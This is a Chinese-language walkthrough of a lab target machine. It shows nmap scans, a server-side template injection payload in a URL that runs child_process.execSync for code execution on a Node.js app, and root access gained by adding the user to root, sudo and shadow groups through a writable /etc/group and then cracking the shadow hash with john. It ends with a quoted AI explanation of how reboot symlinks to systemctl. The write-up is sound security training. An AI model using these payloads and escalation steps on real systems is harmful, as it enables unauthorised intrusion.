

群友靶机-Temp

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 06:41 EDT
Nmap scan report for 10.0.2.63
Host is up (0.00031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3000/tcp  open  ppp
MAC Address: 08:00:27:14:FA:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.55 seconds
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 06:42 EDT
Nmap scan report for 10.0.2.63
Host is up (0.00064s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http      Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Safe Welcome Center
3000/tcp  open  http      Node.js (Express middleware)
|_http-title: Welcome Center
MAC Address: 08:00:27:14:FA:1B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
```

```
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

TRACEROUTE

```
HOP RTT      ADDRESS
1    0.64 ms 10.0.2.63
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 13.31 seconds

访问80和3000的内容基本相同 且存在xss漏洞 不过最近感觉群主一直在提SSTI 凭感觉就是SSTI

访问 `http://10.0.2.63:3000/process?content=%3C%=%20(function()
{%20return%20%27test%27;%20})()%20%3E` 返回 test 可以确定就是SSTI

通过访问 `http://10.0.2.63:3000/process?content=%3C%=%20(function()
{%20return%20global.process.mainModule.require(%27child_process%27).execSync(%27id
%27);%20})()%20%3E` 成功命令执行 `uid=1000(welcome) gid=1000(welcome)
groups=1000(welcome)`

接下来常规操作 反弹shell 稳定shell 信息收集

```
welcome@Temp:~$ find / -writable -type f ! -path "/sys/*" ! -path "/proc/*"  
2>/dev/null  
  
*****  
/etc/group
```

/etc/group 还是比较显眼的 就在所有返回命令的最下面 通过给自己加shadow组与sudo组 如果shadow可以爆出来的话 就是一条提权的路径

```
welcome@Temp:~$ cat /etc/group  
root:x:0:welcome  
daemon:x:1:  
bin:x:2:
```

sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:welcome
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:welcome
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:

```
input:x:105:
kvm:x:106:
render:x:107:
crontab:x:108:welcome
netdev:x:109:
systemd-coredump:x:999:
messagebus:x:110:
ssh:x:111:
ssl-cert:x:112:
welcome:x:1000:

welcome@Temp:~$ id
uid=1000(welcome) gid=1000(welcome)
groups=1000(welcome),0(root),27(sudo),42(shadow),108(crontab)
welcome@Temp:~$ sudo -l
Matching Defaults entries for welcome on Temp:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Temp:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/sbin/reboot
```

```
john --show hash
welcome:sainsburys

1 password hash cracked, 0 left

welcome@Temp:~$ sudo su
[sudo] password for welcome:
root@Temp:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
```

拿下

番外篇

爆shadow的时候闲来无事 看了一眼reboot

```
welcome@Temp:~$ ls -l /usr/sbin/reboot
lrwxrwxrwx 1 root root 14 Jun 29 2023 /usr/sbin/reboot -> /bin/systemctl
```

由于对软连接不是很熟悉 此时我就在想 难道还可以走systemctl?

-h 了一下 然后果断重启

不过那边shadow此时也爆出来了 就直接sudo su root了

此时回过头来看一眼

```
welcome@Temp:~$ sudo -l
Matching Defaults entries for welcome on Temp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Temp:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/sbin/reboot
welcome@Temp:~$ ls -l /usr/sbin/reboot
lrwxrwxrwx 1 root root 14 Jun 29 2023 /usr/sbin/reboot -> /bin/systemctl
welcome@Temp:~$ which systemctl
/usr/bin/systemctl
welcome@Temp:~$ ls -l /bin/systemctl
-rwxr-xr-x 1 root root 1066288 May 27 2024 /bin/systemctl
welcome@Temp:~$ diff /usr/bin/systemctl /bin/systemctl
```

问了眼AI 破案了

AI

你的问题很好! 虽然 `/usr/sbin/reboot` 是指向 `/bin/systemctl` 的符号链接, 但执行 `reboot` 命令时实际上会调用 `systemctl reboot`, 而不是直接运行 `systemctl`。这是通过 **符号链接 + 参数传递** 的方式实现的。

具体机制:

1. 符号链接指向 `systemctl`

```
$ ls -l /usr/sbin/reboot lrwxrwxrwx 1 root root 14 /usr/sbin/reboot ->
/bin/systemctl
```

- 当你运行 `reboot` 时，实际执行的是 `/bin/systemctl`。

2. `systemctl` 检查 `argv[0]`（被调用的命令名）

`systemctl` 会检查它是如何被调用的（即 `argv[0]`，也就是 `$0`）。如果发现：

- 被以 `reboot` 方式调用（即 `argv[0] == "reboot"`），就自动执行 `systemctl reboot`。
- 被以 `poweroff` 方式调用，就执行 `systemctl poweroff`。
- 直接运行 `systemctl`，则进入正常的 `systemctl` 命令行模式。

3. 类似的其他命令

- `poweroff`、`halt`、`shutdown` 等命令也是同样的机制：`$ ls -l /usr/sbin/poweroff`
`lrwxrwxrwx 1 root root 14 /usr/sbin/poweroff -> /bin/systemctl` 执行 `poweroff` 时，`systemctl` 检测到 `argv[0] == "poweroff"`，于是执行 `systemctl poweroff`。

验证方法：

1. 查看 `systemctl` 如何处理 `argv[0]`

可以手动模拟 `reboot` 的调用方式：

```
# 直接运行 systemctl，进入交互模式 systemctl # 模拟 reboot 调用方式
(argv[0]="reboot") $(readlink -f /usr/sbin/reboot) # 实际会执行 systemctl
reboot
```

或者用 `strace` 观察：

```
strace -e execve reboot
```

你会看到它最终执行的是 `systemctl reboot`。

2. 查看 `systemctl` 源码（可选）

`systemctl` 的源代码（`systemd` 项目）中有逻辑检查 `argv[0]`，例如：

```
// systemd/src/systemctl/systemctl.c if (streq(program_invocation_short_name,
"reboot")) { action = "reboot"; } else if
(streq(program_invocation_short_name, "poweroff")) { action = "poweroff"; }
```

为什么这样设计？

- **兼容性**：保持传统命令（`reboot`、`poweroff`、`halt`）的可用性，即使底层是 `systemd`。
- **灵活性**：`systemctl` 可以统一管理这些操作，而不是让每个命令单独实现。
- **减少冗余**：不需要为 `reboot`、`poweroff` 等单独维护二进制文件，只需一个 `systemctl` 即可。

总结

`reboot` 是指向 `systemctl` 的符号链接，但 `systemctl` 会根据自己被调用的名称（`argv[0]`）自动执行对应的操作（如 `systemctl reboot`）。这样既保持了命令的兼容性，又让 `systemd` 统一管理系统操作。